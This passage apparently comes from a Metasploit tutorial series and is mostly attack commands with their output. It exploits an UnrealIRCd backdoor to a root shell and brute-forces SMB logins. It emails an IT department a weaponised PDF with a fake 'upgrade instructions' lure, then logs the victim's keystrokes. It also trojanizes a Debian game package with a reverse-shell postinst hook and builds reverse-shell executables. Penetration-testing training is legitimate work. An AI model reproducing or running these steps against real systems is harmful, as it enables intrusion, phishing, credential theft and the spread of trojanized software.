172.16.194.172 513 tcp rlogin open
172.16.194.172 514 tcp rsh open
172.16.194.172 1099 tcp rmi_registry open
172.16.194.172 1524 tcp open
172.16.194.172 2049 tcp rpc-nfs open
172.16.194.172 2049 udp rpc-nfs open
172.16.194.172 2121 tcp ftp open
172.16.194.172 3306 tcp mysql open
172.16.194.172 5432 tcp postgresql open
172.16.194.172 5900 tcp vnc open
172.16.194.172 6000 tcp x11 open
172.16.194.172 6667 tcp irc open
172.16.194.172 8009 tcp ajp13 open
172.16.194.172 8787 tcp open
172.16.194.172 45303 udp rpc-status open
172.16.194.172 45765 tcp rpc-mountd open
172.16.194.172 47161 tcp rpc-nlockmgr open
172.16.194.172 50410 tcp rpc-status open
172.16.194.172 52843 udp rpc-nlockmgr open
172.16.194.172 55269 udp rpc-mountd open
vulns Check
With the vulns command, let’s list the vulnerabilities, if any, belonging to the services running on these IP addresses. You can use various filtering options while listing with the vulns command. I recommend you to examine them with the help vulns command.
msf > help vulns
Print all vulnerabilities **in the database
Usage: vulns [addr range] -h,--help Show this help information
-p,--port >portspec> List vulns matching this port spec
-s >svc names> List vulns matching these service names
-S,--search Search string to filter by
-i,--info Display Vuln Info
Examples:
vulns -p 1-65536 # only vulns with associated services vulns -p 1-65536 -s http # identified as http on any portmsf >
Let’s see the vulnerabilities of Port 139 in IP addresses.
msf > vulns -p 139> Time: 2012-06-15 18:32:26 UTC Vuln: host=172.16.194.134 name=NSS-11011 refs=NSS-11011
> Time: 2012-06-15 18:32:23 UTC Vuln: host=172.16.194.172 name=NSS-11011 refs=NSS-11011
msf > vulns -p 22> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.148 name=NSS-10267 refs=NSS-10267
> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.148 name=NSS-22964 refs=NSS-22964
> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.148 name=NSS-10881 refs=NSS-10881
> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.148 name=NSS-39520 refs=NSS-39520
> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.163 name=NSS-39520 refs=NSS-39520
> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.163 name=NSS-25221 refs=NSS-25221
> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.163 name=NSS-10881 refs=NSS-10881
> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.163 name=NSS-10267 refs=NSS-10267
> Time: 2012-06-15 18:32:25 UTC Vuln: host=172.16.194.163 name=NSS-22964 refs=NSS-22964
> Time: 2012-06-15 18:32:24 UTC Vuln: host=172.16.194.172 name=NSS-39520 refs=NSS-39520
> Time: 2012-06-15 18:32:24 UTC Vuln: host=172.16.194.172 name=NSS-10881 refs=NSS-10881
> Time: 2012-06-15 18:32:24 UTC Vuln: host=172.16.194.172 name=NSS-32314 refs=CVE-2008-0166,BID-29179,OSVDB-45029,CWE-310,NSS-32314
> Time: 2012-06-15 18:32:24 UTC Vuln: host=172.16.194.172 name=NSS-10267 refs=NSS-10267
> Time: 2012-06-15 18:32:24 UTC Vuln: host=172.16.194.172 name=NSS-22964 refs=NSS-22964
belongs to the IP address 172.16.194.172 Let’s see the vulnerabilities of port number 6667.
Is there any module in the Metasploit Framework modules belonging to the cve:2010-2075 vulnerability listed as a vulnerability belonging to port number 6667? Let’s search.
In the search result, we see that there is an exploit module named exploit/unix/irc/unreal_ircd_3281_backdoor. Let’s use this module now.
msf use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > exploit
> Started reverse double handler
> Connected to 172.16.194.172:6667...
:irc.Metasploitable.LAN NOTICE AUTH : Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH : Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Q4SefN7pIVSQUL2F;[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Q4SefN7pIVSQUL2F\r "[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:35941) at 2012-06-15 15:08:51 -0400
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:d1:62:80
inet addr:172.16.194.172 Bcast:172.16.194.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fed1:6280/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:290453 errors:0 dropped:0 overruns:0 frame:0
TX packets:402340 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:41602322 (39.6 MB) TX bytes:344600671 (328.6 MB) Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:774 errors:0 dropped:0 overruns:0 frame:0
TX packets:774 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:343253 (335.2 KB) TX bytes:343253 (335.2 KB)id
uid=0(root)gid=0(root)
With the use of the Exploit module, a command line is opened at the target IP address.
Using Nessus Program Directly from MSF
In the previous section, we saved a scan made by Nessus program in .nbe format and used it to transfer to Metasploit. If you like using the command line, you can also use Nessus program directly from the command line. There is a plugin called Nessus Bridge Plugin developed for Metasploit Framework for this to happen.
Starting Nessus Bridge Plugin
Let’s load the plugin required for Nessus usage from msfconsole.
msf > load nessus
> Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
> Successfully loaded plugin: nessus
To see the commands offered by this plugin, let’s view the nessus_help help command.
msf > nessus_help
[+] Nessus Help
[+]type nessus_help commandforhelp with specific commands
Command Help Text
------- ---------
Generic Commands
----------------- -----------------
nessus_connect Connect to a nessus server
nessus_logout Logout from the nessus server
nessus_help Listing of available nessus commands
nessus_server_status Check the status of your Nessus Server
nessus_admin Checks if user is an admin
nessus_server_feed Nessus Feed Type
nessus_find_targets Try to find vulnerable targets from a report
Report Commands
----------------- -----------------
nessus_report_list List all Nessus reports
nessus_report_get Import a report from the nessus server in Nessus v2 format
nessus_report_hosts Get list of hosts from a report
nessus_report_host_ports Get list of open ports from a host from a report
nessus_report_host_detail Detail from a report item on a host
Scan Commands
----------------- -----------------
nessus_scan_new Create new Nessus Scan
nessus_scan_status List all currently running Nessus scans
...snip...
Connecting to Nessus Server
In order to send a command to the Nessus program from within msfconsole, we first need to connect to the Nessus server. For this, we use the command template nessus_connect dook:s3cr3t@192.168.1.100 ok. Here dook is your username that you use for Nessus, s3cr3t is your Nessus password. Instead of the 192.168.1.100 IP address, you should write the IP address where the Nessus server is running on your system. The ok parameter at the end of the command is required to confirm that you are connecting to Nessus from outside and that you have accepted the security warning.
msf > nessus_connect dook:s3cr3t@192.168.1.100
[-] Warning: SSL connections are not verified **in **this release, it is possible for **an attacker
[-] with the ability to man-in-the-middle the Nessus traffic to capture the Nessus
[-] credentials. If you are running this on a trusted network, please pass **in** 'ok'[-] as an additional parameter to this command.
msf > nessus_connect dook:s3cr3t@192.168.1.100 ok
> Connecting to <a href="https://192.168.1.100:8834/">https://192.168.1.100:8834/</a> as dook
> Authenticated
msf >
Viewing Nessus Scan Policies
Let’s view the scan policies on the Nessus server with the nessus_policy_list command. If you don’t have any scan policies, you need to create them by going to the Nessus Visual interface.
msf > nessus_policy_list
[+] Nessus Policy List
ID Name Owner visability
-- ---- ----- ----------
1 the_works dook private
msf >
Starting a New Scan with Nessus
Now that we have viewed the scan policies, we can start a new scan. The nessus_scan_new command is used to start the scan. The command consists of the parts nessus_scan_new, id, scan name, targets. You can see an example below.
msf > nessus_scan_new
> Usage:
> nessus_scan_new policy id scan name targets
> use nessus_policy_list to list all available policies
msf > nessus_scan_new 1 pwnage 192.168.1.161
> Creating scan from policy number 1, called "pwnage" and scanning 192.168.1.161
> Scan started. uid is 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
msf >
Viewing the Status of an Ongoing Scan
You can check the status of the scan you started with the nessus_scan_new command with the nessus_scan_status command.
msf > nessus_scan_status
[+] Running Scans
Scan ID Name Owner Started Status Current Hosts Total Hosts
------- ---- ----- ------- ------ ------------- -----------
9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f pwnage dook 19:39 Sep 272010 running 01>You can:
[+] Import Nessus report to database : nessus_report_get reportid
[+] Pause a nessus scan : nessus_scan_pause scanid
msf > nessus_scan_status
> No Scans Running.
> You can:
> List of completed scans: nessus_report_list
> Create a scan: nessus_scan_new policy id scan name target(s)msf >
Getting Scan Results
When Nessus scan is completed, it creates a report within itself. Let’s display the list of reports that can be imported into Metasploit Framework with the nessus_report_list command. Then, let’s import the report into msfconsole by giving the ID number of the report with the nessus_report_get command.
msf > nessus_report_list
[+] Nessus Report List
ID Name Status Date
-- ---- ------ ----
9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f pwnage completed 19:47 Sep 272010>You can:
> Get a list of hosts from the report: nessus_report_hosts report id
msf > nessus_report_get
>Usage:
> nessus_report_get report id
> use nessus_report_list to list all available reports for **importing
msf > nessus_report_get 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
> importing 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
msf >
Viewing Results
You can view the imported scan results with the hosts, services and vulns commands, as in the previous section.
msf > vulns
> Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=3389proto=tcp name=NSS-10940 refs=> Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=1900proto=udp name=NSS-35713 refs=> Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=1030proto=tcp name=NSS-22319 refs=> Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=445proto=tcp name=NSS-10396 refs=> Time: 2010-09-28 01:51:38 UTC Vuln: host=192.168.1.161 port=445proto=tcp name=NSS-10860 refs=CVE-2000-1200,BID-959,OSVDB-714
> Time: 2010-09-28 01:51:38 UTC Vuln: host=192.168.1.161 port=445proto=tcp name=NSS-10859 refs=CVE-2000-1200,BID-959,OSVDB-715
> Time: 2010-09-28 01:51:39 UTC Vuln: host=192.168.1.161 port=445proto=tcp name=NSS-18502 refs=CVE-2005-1206,BID-13942,IAVA-2005-t-0019
> Time: 2010-09-28 01:51:40 UTC Vuln: host=192.168.1.161 port=445proto=tcp name=NSS-20928 refs=CVE-2006-0013,BID-16636,OSVDB-23134
> Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161 port=445proto=tcp name=NSS-35362 refs=CVE-2008-4834,BID-31179,OSVDB-48153
> Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161
...snip...```
18 - SMB Login Check in MSF
SMB Login Check with the username and password found in the previous steps.
In our previous articles, we have seen some of the “Information Gathering” modules. We discussed the issues of services not being found along with IP and Port scanning. The next stage is called “Vulnerability Scanning”. The better and healthier the “Information Gathering” operations from the Pentest stages are, the more efficient you will be in the following stages.
In the scans you have performed, you think that you have somehow found a username and password. You may want to try which other services use this username and password. At this point, the most logical service to try is the network file sharing service called SMB.
In the example below, the smb_login module is used and a previously found username and password are tried. In this type of scan, you should be careful if the target computer is Windows because every unsuccessful attempt is sent to the system administrator as a warning. You should know that the smb_login scan makes a lot of noise.
If your ‘smb_login’ scan is successful, you can try opening a ‘Meterpreter’ shell using the ‘windows/smb/psexec’ module.
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true no Try blank passwords for **all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no SMB Domain
SMBPass no SMB Password
SMBUser no SMB Username
STOP_ON_SUCCESS false yes Stop guessing when a credential works for **a host
THREADS 1 yes The number of concurrent threads
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for **all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for **all attempts
msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24
RHOSTS=> 192.168.1.0/24
msf auxiliary(smb_login) > set SMBUser victim
SMBUser=> victim
msf auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass=> s3cr3t
msf auxiliary(smb_login) > set THREADS 50THREADS=> 50msf auxiliary(smb_login) > run
> 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
> 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
> 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
> 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
> 192.168.1.116 - SUCCESSFUL LOGIN (Unix)> Auxiliary module execution completed
msf auxiliary(smb_login) >
As seen in the sample output, a successful login was performed at the IP address 192.168.1.116.
19 - VNC Server Scanning in MSF
VNC Authentication None Scanner module is used to scan VNC Servers that allow guest users to connect without a password.
Sometimes system administrators neglect to configure the security settings of the services they install. One of the classic mistakes is not closing the services running on the network to users called guest. VNC Server is a service that allows remote connection to a computer.
In the example below, a module is used that searches for a VNC Server running in a certain IP range and allowing access without a password. This module is called VNC Authentication None Scanner in Metasploit Framework.
If you are a system administrator, you should keep in mind that there are people constantly looking for such vulnerabilities while configuring your services.
msf auxiliary(vnc_none_auth) > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.0/24
RHOSTS=> 192.168.1.0/24
msf auxiliary(vnc_none_auth) > set THREADS 50THREADS=> 50msf auxiliary(vnc_none_auth) > run
> 192.168.1.121:5900, VNC server protocol version : RFB 003.008
> 192.168.1.121:5900, VNC server security types supported : None, free access!
> Auxiliary module execution completed
As seen in the output, VNC Server at 192.168.1.121:5900 allows connection without password.
20 - WMAP Scanning in MSF
WMAP tool is a web application vulnerability scanner that provides users with extensive capabilities. Originally derived from the sqlmap program.
WMAP is a web application vulnerability scanning tool that provides users with a wide range of capabilities. It was originally derived from the sqlmap program. In this article, we will see the use of WMAP integrated into Metasploit.
Installing wmap
First, let’s create a new database with the workspace -a wmap command. Then let’s load the plugin with the load wmap command.
Before starting web application scanning, we need to add the target URL address to the wmap_sites table with the -a parameter. Then, if you issue the wmap_sites -l command, you can see the registered URL addresses.
msf > wmap_sites -h
> Usage: wmap_targets [options] -h Display this help text
-a [url] Add site (vhost,url) -l List all available sites
-s [id] Display site structure (vhost,url|ids)(level)msf > wmap_sites -a <a href="http://172.16.194.172/">http://172.16.194.172</a>
> Site created.
msf > wmap_sites -l
> Available sites
**===============**
Id Host Vhost Port Proto # Pages # Forms-- ---- ----- ---- ----- ------- -------
0 172.16.194.172 172.16.194.172 80 http 00
Setting wmap_targets
wmap_sites tables are a table that keeps records. It lists addresses that you can use in the future. We need to set the address where the scan will be performed to the wmap_targets table with the -t parameter.
msf > wmap_targets -h
> Usage: wmap_targets [options] -h Display this help text
-t [urls] Define target sites (vhost1,url[space]vhost2,url) -d [ids] Define target sites (id1, id2, id3 ...) -c Clean target sites list
-l List all target sites
msf > wmap_targets -t <a href="http://172.16.194.172/mutillidae/index.php">http://172.16.194.172/mutillidae/index.php</a>
In modules, just as we control the variable settings we make with show options, we can control the list of targets to be scanned with the wmap_targets -l command.
msf > wmap_targets -l
> Defined targets
**===============**
Id Vhost Host Port SSL Path
-- ----- ---- ---- --- ----
0 172.16.194.172 172.16.194.172 80false /mutillidae/index.php
Running wmap_run
The wmap_run -e command will run the plugin and start the scan. You can use the -h parameter for help. The -t parameter can be used to see which modules the wmap_run -e command will use.
msf > wmap_run -h
> Usage: wmap_run [options] -h Display this help text
-t Show all enabled modules
-m [regex] Launch only modules that name match provided regex.
-p [regex] Only test path defined by regex.
-e [/path/to/profile] Launch profile modules against all matched targets.
(No profile file runs all enabled modules.)msf > wmap_run -t
>Testing target:
> Site: 192.168.1.100 (192.168.1.100)> Port: 80 SSL: false> ===================================================================================> Testing started. 2012-01-16 15:46:42 -0500
>
[ SSL testing ]> ===================================================================================> Target is not SSL. SSL modules disabled.
>
[ Web Server testing ]> ===================================================================================> Loaded auxiliary/admin/http/contentkeeper_fileaccess ...
> Loaded auxiliary/admin/http/tomcat_administration ...
> Loaded auxiliary/admin/http/tomcat_utf8_traversal ...
> Loaded auxiliary/admin/http/trendmicro_dlp_traversal ...
..snip...
msf >
When you use the wmap_run -e command to start the scan, the scan will start.
As seen in the sample output, the reference name of the vulnerability is reported in the refs=CVE-2005-3398,CVE-2005-3498,OSVDB-877,BID-11604,BID-9506,BID-9561 section. From this point on, we need to collect detailed information and conduct research on this vulnerability.
21 - MSF Binary Client Exploits
In this article, we will examine the client-side exploits for Windows and Linux.
Client-Side Exploits
In our previous articles, we have seen client-side exploits used for Windows and Linux. In this article, I want to look at another scenario.
Let’s assume that after a successful information gathering phase, we have reached the following conclusion about an IT company. The company;
Now, in this case, we want to reach a computer in the IT department and run a keylogger (keylogger). In this way, it will be possible to obtain useful information by recording the keys they press on the keyboard.
Let’s run Metasploit Framework with the msfconsole command. Let’s prepare a PDF document that will attract the IT department’s attention and that they will want to open and read. Remember that the document should have a security-related and logical title. It should also not be detected as malicious by antivirus software.
To prepare such a PDF document, we will use the Adobe Reader ‘util.printf()’ JavaScript Function Stack Buffer Overflow Vulnerability. For this, let’s load the exploit/windows/fileformat/adobe_utilprintf module.
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME=> BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD=> windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128
LHOST=> 192.168.8.128
msf exploit(adobe_utilprintf) > set LPORT 4455LPORT=> 4455msf exploit(adobe_utilprintf) > show options
Module options (exploit/windows/fileformat/adobe_utilprintf):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME BestComputers-UpgradeInstructions.pdf yes The file name.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.8.128 yes The listen address
LPORT 4455 yes The listening port
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)
As can be seen from the output, you can set the FILENAME variable, that is, the file name, as you wish. In the Payload section, we need to set the LHOST and LPORT variables as the information of the computer that will be listened to. Then, let’s run the module with the exploit command.
As you can see, the PDF file was created in /root/.msf4/local/. Let’s copy this file to the /tmp folder for easy access. Now, before sending our file to the relevant e-mail address, we need to run the listener module on our computer. For this, we will use the exploit/multi/handler module. We make sure that the LHOST and LPORT values are the same as the values we gave when creating the PDF file.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD=> windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455LPORT=> 4455msf exploit(handler) > set LHOST 192.168.8.128
LHOST=> 192.168.8.128
msf exploit(handler) > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Starting the payload handler...
After activating the listener module, we need to somehow send the PDF file to itdept@victim.com. You can do this with the sample command below. You can also use other email sending methods. The command is provided as an example.
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing **in **a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for **upgrading and securing your software. Please read and let us know **if **you have any problems.
Sincerely,
Best Computers Tech Support
Aug 24 17:32:51 kali sendEmail[13144]: Message input complete.
Aug 24 17:32:51 kali sendEmail[13144]: Email was sent successfully!
Let’s briefly explain the parameters used in this example command.
-t: TO, the recipient address. -f: FROM, the sender address. -s: SMTP Server IP address. -u: TTITLE, the subject of the mail. -a: ATTACHMENT, the attached file.
When you type the command and press ENTER, you can start writing the Text part of the e-mail. After the writing is complete, you can complete the process with the CTRL+D keys. Thus, the mail will be sent to the recipient address.
When the recipient receives this mail and checks it with the Antivirus program, it will get a harmless result, but when he clicks to open the file, even if he sees a blank screen, communication with the listening computer is actually established.
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Starting the payload handler...
> Sending stage (718336 bytes)session[*****] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322)meterpreter >
As you can see, when the PDF file is opened, the Meterpreter shell is opened. Now it is possible to run various commands on the other party’s computer. Finally, it is possible to record keystrokes by running the post/windows/capture/keylog_recorder module.
meterpreter > ps
Process list
**============**
PID Name Path
--- ---- ----
852 taskeng.exe C:\Windows\system32\taskeng.exe
1308 Dwm.exe C:\Windows\system32\Dwm.exe
1520 explorer.exe C:\Windows\explorer.exe
2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
2196 VMwareUser.exe C:\Program FilesVMware\VMware Tools\VMwareUser.exe
3176 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe
meterpreter > run post/windows/manage/migrate
> Running module against V-MAC-XP
> Current server process: svchost.exe (1076)> Migrating to explorer.exe...
> Migrating into process ID 816> New server process: Explorer.EXE (816)meterpreter > sysinfo
Computer: OFFSEC-PC
OS: Windows Vista (Build 6000, ).
meterpreter > use priv
Loading extension priv...success.
meterpreter > run post/windows/capture/keylog_recorder
> Executing module against V-MAC-XP
> Starting the keystroke sniffer...
> Keystrokes being saved **in **to /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
> Recording keystrokes...
You can check the recorded keys from the contents of the file 20110323091836_default_192.168.1.195_host.windows.key_832155.txt.
root@kali:~# cat /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
Keystroke log started at Wed Mar 23 09:18:36 -0600 2011Support, I tried to open his file 2-3 times with no success. I even had my admin and CFO tru y it, but no one can get it to open. I turned on the rmote access server so you can log in to fix this problem. Our user name is admin and password for that session is 123456. Call or email when you are done. Thanks IT Dept
As can be seen, the IT employee unknowingly revealed in his keystrokes that his username was admin and his password was 123456
22 - MSF Binary Linux Trojan
We can create a Debian package that contains a payload using Metasploit Framework.
As an example of client-side attacks, in our previous article we created an executable file with the extension .exe for the Windows platform. We can also create files in the click-and-run file types used by Linux operating systems. In this article, we will create a file with the extension .deb.
Creating this file targeting the Ubuntu operating system may seem a bit complicated at first, but it will be easier to understand if you continue by examining the steps one by one.
First, we need a program to place a payload in. Let’s use the “Mine Sweeper” program as an example.
Let’s download the package
When we download the package with the --download-only parameter, it will not be installed on our operating system. Then we will move the package we downloaded to the /tmp/evil folder that we will create to work on it.
root@kali:~# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
...snip...
root@kali:~# mkdir /tmp/evil
root@kali:~# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil
root@kali:~# cd /tmp/evil/
root@kali:/tmp/evil#
Now we have a Debian package named freesweep_0.90-1_i386.deb in the /tmp/evil folder. The name and version number of the .deb file you downloaded may be different. You should check its name with the ls command and apply it to the commands in the examples accordingly.
Let’s Open the Package
Now we need to open this .deb extension package in a similar way to opening a compressed file. We extract this package to the work folder in the /tmp/evil folder with the following command. Then, we create a folder named DEBIAN under the /tmp/evil/work folder, where the features we will add will be located.
root@kali:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work
root@kali:/tmp/evil# mkdir work/DEBIAN
Let’s create a control file
We create a file named control in the Debian folder, paste the following text into it and save it. We check the file content with the cat control command as follows.
control file content
Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works **in **any visual text display - **in **Linux console, **in **an xterm, and **in
**most text-based terminals currently **in **use.
let’s create a postinst file
We also need another bash script file to run after installation. Again, as above, we create a file named postinst in the DEBIAN folder. We paste the following lines of code into it.
postinst file content
#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
Let’s Create a Payload
Now we can create the file containing the malicious codes. For this, we will use the linux/x86/shell/reverse_tcp payload module using the command below. You can specify the variables we gave as LHOST and LPORT in the command yourself.
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 -b "\x00" -f elf -o /tmp/evil/work/usr/games/freesweep_scores
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98(iteration=0)x86/shikata_ga_nai chosen with final size 98Payload size: 98 bytes
Saved as: /tmp/evil/work/usr/games/freesweep_scores
Repackaging
Now, we can make our postinst file executable and compile the .deb package. We can change the name of the work.deb package that will be created as a result of the command to freesweep.deb and upload it to the Apache Server folder (/var/www or /var/www/html). Now our file can be downloaded from the Web server.
Now, let’s create a listener to listen for connection requests that will come with a click or run. The LHOST and LPORT values that we will give to the command here must be the same as the values entered when creating the payload.
root@kali:~# msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; set LHOST 192.168.1.101; set LPORT 443; run; exit -y"PAYLOAD=> linux/x86/shell/reverse_tcp
LHOST=> 192.168.1.101
LPORT=> 443> Started reverse handler on 192.168.1.101:443
> Starting the payload handler...
Result
When any user downloads and runs this freesweep.deb package that we prepared, our listening exploit/multi/handler module will log in to the target computer.
As can be seen, malware is not only specific to Windows. Linux users should also be careful with click-to-run programs. We recommend that you do not install packages from unreliable sources.
23 - MSF Binary Payloads
Metasploit Framework provides many modules for creating malicious codes. In this article, we will create a payload that opens a Windows reverse shell.
Client-Sided Attacks
Client-side attacks are the type of attacks that all network administrators should be careful about. No matter how much you secure your system, client-side attacks exploit your users’ vulnerabilities.
When pentesters somehow get the user on the system to click on a link or run malware, they open a door to the target system for themselves. For this reason, client-side attacks require interaction with the user. Such attacks also require social engineering efforts.
Metasploit Framework provides many modules for creating such malicious codes.
binary payloads
Executable files called binary payloads look like harmless .exe files, but they are actually files that contain dangerous codes. The user who will receive the file is made to click on it by making it feel like it is an important file, and the malicious code runs.
In this article, the msfvenom command line tool provided by Metasploit Framework will be used. Using msfvenom you can obtain .exe, perl or c program outputs. The .exe format will be used here.
Creating a Payload that Opens Windows Reverse Shell
We will use the windows/shell/reverse_tcp module to create a payload for the target user to connect to the listening IP address when the malicious program is run. First, let’s look at what variables this module needs to work.
root@kali:~# msfvenom --payload-options -p windows/shell/reverse_tcp
Options for **payload/windows/shell/reverse_tcp:
Name: Windows Command Shell, Reverse TCP Stager
Module: payload/windows/shell/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 281 Rank: Normal
Provided by:
spoonm
page
hdm
skape
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)LHOST yes The listen address
LPORT 4444 yes The listening port
Description:
Spawn a piped command shell (staged). Connect back to the attacker
This module requires the LHOST and LPORT variables to be set, as seen in the output. The target platform is x86 architecture and Windows operating system. We need to use an encoder for the payload we will create. For this, we will use the x86/shikata_ga_nai encoder module. Under these conditions, the following command will create a file named 1.exe in the /tmp folder using the encoder.
root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326(iteration=0)x86/shikata_ga_nai chosen with final size 326Payload size: 326 bytes
Saved as: /tmp/1.exe
Let’s check the type of our 1.exe file. In the check we made with the file command, it is seen below that the 1.exe file is an MS Windows file.
root@kali:~# file /tmp/1.exe
/tmp/1.exe: PE32 executable (GUI) Intel 80386, for **MS Windows
Listening Settings
We now have the 1.exe file that the client will click and run. Now, we need to run a module that will listen when the click is performed. For this, we will use the exploit/multi/handler module and the payload windows/shell/reverse_tcp listener payload in it.
First, let’s load the exploit/multi/handler module and look at the options.
msf > use exploit/multi/handler
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Wildcard Target
As you can see, there are no mandatory variables in the exploit module. Now let’s set the payload.
msf exploit(handler) > set payload windows/shell/reverse_tcp
payload=> windows/shell/reverse_tcp
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Wildcard Target
